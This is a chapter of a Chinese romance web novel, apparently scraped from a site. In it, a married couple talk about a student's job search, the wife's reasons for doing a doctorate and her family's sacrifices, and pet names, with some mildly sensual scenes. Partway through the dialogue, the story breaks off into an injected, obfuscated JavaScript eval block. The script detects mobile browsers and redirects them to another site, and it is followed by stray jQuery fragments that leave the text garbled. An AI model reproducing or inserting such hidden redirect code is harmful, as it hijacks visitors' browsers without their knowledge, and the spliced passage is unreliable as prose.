32. 第 32 章

作品:《合璧之婚

    山中的雨好似永远都不停歇,陆明影购入的宅子藏在景区的深处,推开窗子往前看,一片竹林之后,是一幢白房子,他在景区的办公室。


    孟禾璧这回醒得早,捡起衣服套上,去榻上将自己的电脑抱过来,开始帮刘平改简历。


    领带早在方才的颠簸中晃悠的有些松散,孟禾璧重新打结的时候无端想起了自己那会儿莫名的情绪,一时觉得好笑。


    现在她冷静下来,她想她并不介意告诉陆先生自己的想法。


    任何人都是独一无二的,陆先生给过别人的东西,便不能再给她,这很合理,也无关吃醋,只关乎她的自尊心。


    只不过陆先生解释的太快了,她反倒没有说明的机会。


    罢了罢了。


    她还有两年的时间,可以慢慢与陆先生说。


    刘平的简历很好改,只有一些重点没有突出量化,她需要稍微思考润色。她从包里翻出眼镜,细细的修改。


    改到快结束,身后伸出手臂,穿过靠枕厮磨这她的腰。


    “刘平,是上次在基地与你挽着手的学生?”


    那人不知道什么时候醒了,慵懒的眯着眼,指着她的电脑屏幕问。


    傍晚的房间没有开灯,只有微弱的电脑光洒在床上,却也将他前胸肩膀的抓咬痕照的清晰分明。孟禾璧静静看了两眼,然后从床脚将他的睡衣捡起,丢上去罩着。


    “是她。明年毕业,要找工作了。”


    陆明影哼笑,反手将衣服掀开,他凑过去,手在她面板上随意滑两下,“行政岗?她不搞研究?”


    孟禾璧摇头,“她是硕士学历,大公司的研究岗进不去,小公司的待遇差。”


    “那就再读个博。”陆明影理所应当。


    “小平不喜欢科研。而且读博的成本也高,她大约想快点工作赚钱的。”


    刘平的家庭情况她有听许维之说过一些,家中父母务农,靠采茶和种水稻维持收入,刘平实在不愿意再和土地打交道,家中的条件也支撑不了她继续读书。所以一毕业就工作,是刘平早就列在计划中的事情。


    陆明影点点头,视线从她电脑上移开,“你大可以劝她,最多五年,有个博士头衔好通路。”


    孟禾璧煞有介事的伸出一只手指,“NoNoNo,我不劝。劝人读博天打雷劈,这很辛苦的。”


    “辛苦你还读?”


    陆明影看着她,总觉得她辛苦。又是和家里抗争,又是被许教授抓壮丁,一个小姑娘颠颠簸簸的,不觉得累吗?


    “我不觉得辛苦,我很开心。”孟禾璧吊着眉瞧他,想了想,怕他不明白自己,又趴回他身边,蹭来蹭去,“你知道,我在京北工作过一年吧。”


    陆明影懒懒的“嗯”一声,将胳膊伸过去,由她靠着。


    孟禾璧将头轻轻挨上去,“我那时候是一家咨询公司的顾问,顾问是什么呢?就是给企业看病的医生,再把企业的‘病症’整理成报告材料,用一些方法论呀,模型呀,数据分析呀,整理成一份‘医治’方案,这个东西最后就换成了甲方给我们的钱。”


    “可我不喜欢那份工作。一开始不觉得,后面越干越发现,这世界是个草台班子。数据是可以抄的,方案是可以拼的,模型是随便套一套就能用的,就连顾问这个角色都是拿来背锅的。我的领导和我说,其实甲方在找我们之前,早就有自己的方案了,只不过内部斗不明白,必须要找个中间人来当冤大头。”


    孟禾璧哼气,伸出一根手指指向自己的鼻尖,“那个冤大头就是我们。”


    陆明影笑了下,将她头上半脱不脱的领带拆下来,“所以你想做一些专业性强的工作。”


    “差不多吧。”孟禾璧抬起脑袋,由他梳理自己的头发,“其实顾问也有专业性的。不管甲方是什么脸色,起码当时我在出方案的时候,也绞尽了脑汁,我自己做的还蛮开心的。”


    “嗯,你一向很聪明,很要强。”陆明影凑过来,吻她的唇,“然后怎么想到读博的?”


    “我本来就有读博计划,只是因为一些原因搁浅了。”孟禾璧将脚伸进他双腿中间取暖,“你知道的,我弟弟溶津在国外读书,需要高昂的学费,但因为疫情,那几年我爸的单位久久发不出工资,家里负担也大,所以我毕业之后就去工作了,不敢读博。”


    那时候的她和刘平一样,根本不敢再想读博士的事情,经济压力让她们必须快速沉入市场。


    陆明影皱眉,抬起她的脸,“这事你从没说过。”


    他只知道她生活在一个家教保守,重男轻女的家庭,而当她弟弟不在的时候,岳父岳母对她的宠爱也作不了假,他以为,她并没有受太大的委屈。可他不知道,她竟然需要放弃自己的读书机会,供养她的弟弟。


    “这有什么好说的,反正都过去了。”


    孟禾璧无所谓的笑笑,顿了顿又说,“我爸爸复工之后第一时间告诉了我,我知道后立刻抓住了机会,联系许维之老师说想跟她读博。我本科和硕士就是她带的,所以没费大周折。虽然后面和妈妈闹的很不愉快,但总归现在结局圆满,我也不觉得辛苦了。”


    做人只能论迹不能论心,若是一直掐着父母的苛待与偏心不放,她大约这辈子都走不出原生家庭的牢笼。


    她笑的很干净,不似陆明影昨日将她带去老房子里,要借阴暗的光线才能勉强遮住自己的卖惨的嫌疑。小姑娘是真心觉得,自己不苦,甚至还庆幸,能有机会继续读书。


    到底是在爱里长大的小孩,心思要比他坦荡不少。更重要的是,她年纪不大,孤注一掷与破釜沉舟的勇气却不小。


    她是哪怕与母亲断绝母女关系,不顾一切的切割原生家庭,也要去读书的人。


    陆明影读出她话里的沉重,将她揽的更紧些,心中的失重感不由更甚,“之后呢,之后有什么计划?要不要和刘平一样,去大公司的科研岗。”


    “计划?”孟禾璧拖长声音“嗯”了声,“考雅思,发论文,然后出国,博士毕业后再出国读博后,暂时是这么想的。我应该不会进企业工作,更想去大学里教书搞研究。一直都是这么计划的,没怎么变过。”


    “哦对了。”她又撑起身子,笑吟吟的挨着他,“当老师很好的,我可以用假期去雅典看神庙,去南法的芒通晒太阳、去那不勒斯打卡,再去捷克布拉格看大提琴演出。溶津去过好多地方,我都没去过,我也想去看看。”


    小姑娘说起自己的计划总是眉飞色舞,她的未来是生机勃勃自由自在的绿,像哥本哈根的棕榈,北疆的翡翠、赤道边界的亚马逊雨林,总归不只是徽南的一段山岚绿。


    陆明影勉强勾了勾唇,将自己纷繁复杂的心思都压下去,凝住她的眼睛,“打算什么时候出国?”


    电脑屏幕的光亮已经在不知不觉中熄灭,下午五六点的光景,天暗沉沉的往下落,伴着淅淅沥沥的雨,一室沁凉昏暗。


    孟禾璧也望着他,眼眸如一汪澄澈的泉水,不曾改变,“两年后呀,陆先生。”


    晚饭去临水小榭中用餐。


    临下楼前陆明影带她去房间挑衣服,衣柜门左右拉开,满柜子的旗袍长裙,各式各样的,那颜色也是说不出的清丽好看,是她的风格。


    “昨儿找人送过来的,都是你的尺寸。”陆明影手从那些衣服上滑过,最终挑出一件天水碧的裙子递给她。


    “你怎么会知道我的尺寸?”


    孟禾璧想起第一次去新房冲澡时,陆明影便给她准备了一条明黄色的改良旗袍,用料是香云纱,和现在手上的这条一样。但那时候他们之间距离还远,连手都没怎么拉过,他怎么知道自己的尺寸的?


    被那双乌溜溜的眼睛审视的不自在,陆明影轻咳一声,摸了摸鼻子,“你别管,穿你的。”说完又加一句,“也别把我往坏处想。”


    他可不是什么偷窥的变态。


    孟禾璧狐疑他,但听这意思也知道问不出什么,干脆推他的出去,“知道了,我换衣服,烦您先出去。”


    “诶?和谁见外?”陆明影听这话诧异了,直接反手揽住她的腰,手往下移,“洗澡都是我代劳,哪没看...”


    直到斜里伸出一只手,忙把他嘴捂住,“不许说,丢不丢人啦。”


    小姑娘脸皮薄,哪里听得这些浑话,忙抵着他要推出门,偏偏陆明影不放过她,就着她的手心亲,一路蜿蜒,“丢人什么人?我看自己的老婆看不得?”


    孟禾璧被亲的发痒,抓不住衣里作乱的手,气息不稳,“你,你还吃不吃饭了?”


    “吃,也不急着这几


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509348|139682||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    分钟。”


    陆明影笑了声,热烫的吻顺势落下,箍着她的腰按在衣柜上,舌尖用力顶进去,咂摸出细密的水声,团住后,一声细弱的闷哼,陆明影怔了下,更用些力收放。


    最后也不知道亲了多久,只她的衣衫落了,水碧的裙子最终还是陆明影替她穿上,丝毫不假她手,惹得她自下楼前脸都是浮热的红。


    “晚上吃什么?”往临水小榭中走时她问。


    “下午让周奇送几斤蟹来,配了会稽山的黄酒,还有些其他的佐菜。”


    陆明影在吃食上是最妥帖的,孟禾璧每次与他一起吃饭,他安排的饭菜就没有她不喜欢的。


    “我爱吃蟹,陆先生送来的一定比其他的地方的都好吃。”孟禾璧将手指伸进他的五指中间,握住,依恋的蹭蹭他。


    陆明影偏头睨她,“你再撒娇就别下去了。”


    刚才在楼上,那一层布几乎要绷不住,若不是担待着她的身体,她必然是走不出这门的。


    孟禾璧一听,立马甩了他的手,躲坏人似的自顾自的下楼去了,瞧都不瞧他一眼。


    陆明影跟在她后面笑,这家伙真的太会拿捏他了,只是笑着笑着,这笑又淡了下来。竹林吹出飒飒的风响,却吹不走陆明影心中的愁雾。


    临水小榭里的蒸蟹味儿早就传过来了,早晨从阳澄湖新鲜运来了,锅上刚蒸好就端来了,另佐一壶会稽山黄酒。


    陆明影剥蟹,孟禾璧吃。最后她看不下去了,干脆将他塞她手里的塞到他嘴里,他剥一个她喂一个。


    孟禾璧老神在在的点他,“陆先生,你这样我压力好大。”


    都是出力的,哪有事后只她享福的道理。


    陆明影觉得好笑,“我照顾你不是应当的?再说咱这个称呼能不能换一换,齐阳都没你叫陆先生叫的勤快。”


    “照顾分明是相互的,没有谁应当无条件的对谁好。”孟禾璧不赞同他的说法,也拒绝他将自己当废人一样照顾。


    说罢,她又看向陆先生,见他面色淡淡的看向自己,又自顾自的将话题揭过,“陆先生不好么?我叫顺口了。”


    陆明影摘下手套,“称呼而已,没有好或不好,只有生疏与亲近。”


    他希望,她能与他更亲近些。


    孟禾璧“唔”了一声,“那叫什么?”


    陆明影嘬饮一小杯酒:“鄙人的名字孟小姐念不出口?”


    “你不也不叫我的名字。”


    “那是因为唤你总有更亲昵的小名。”


    陆明影顿了顿,忽然故作若无其事的抬眼凝住她,语气轻松,“孟小姐,你的不知名爱慕者之所以不唤你大名,是因为他喜欢叫你檀檀,这是家人与爱人的特权。”


    挥鞭再骋堂堂貌,敲鐙重夸檀檀身。


    这是他与她讲过的,他试图赋予的意义。不是从她父母那里听来的名字,而是他私心打上的印记。


    孟禾璧恍然抬起头,想去看他眼中似笑非笑的戏谑,可当她抬起头,看到的却是认真,像两团淙淙燃烧的火焰一样的认真。


    这是孟禾璧第一次正儿八经的听陆明影说“爱慕者”这三个字,也是在婚后第一次听他叫自己的孟小姐,像是一个要重新商谈的微弱信号,带着试探。


    她几乎被他真挚的眼神烫到,唇边的笑意微微凝住。


    陆先生好像在问,我是你的爱慕者,你呢?似乎希望她通过这个称呼许下一生一世的诺言。


    孟禾璧望着他,心中忽然被什么东西击中了似的,慌乱的避开,低头拾起一只蟹利落拨开,蘸了蘸料递到他嘴边,“你想要我叫什么?”


    她举着蟹的手微微颤抖着,身体前倾,身前的柔软贴着他的胳膊,她的身体语言,清晰分明的昭彰着小姑娘马上要控制不住的爱慕与依恋,可动作看上去却像一种讨好,一种弥补。


    陆明影将她的动作尽收眼底,她将选择权交给了自己,看上去自己让她做什么都可以。


    可谁能说,这不是一种,不用负责与不愿承诺。


    山中的雨好似永不停歇,碧波的湖水,在斜风细雨中砸起细细密密的涟漪,即便没有惊涛骇浪,也将湖水裹挟的心郁难平。


    过了一会,陆明影的视线从湖面上收回来,轻抚她的后颈,“随你高兴吧。”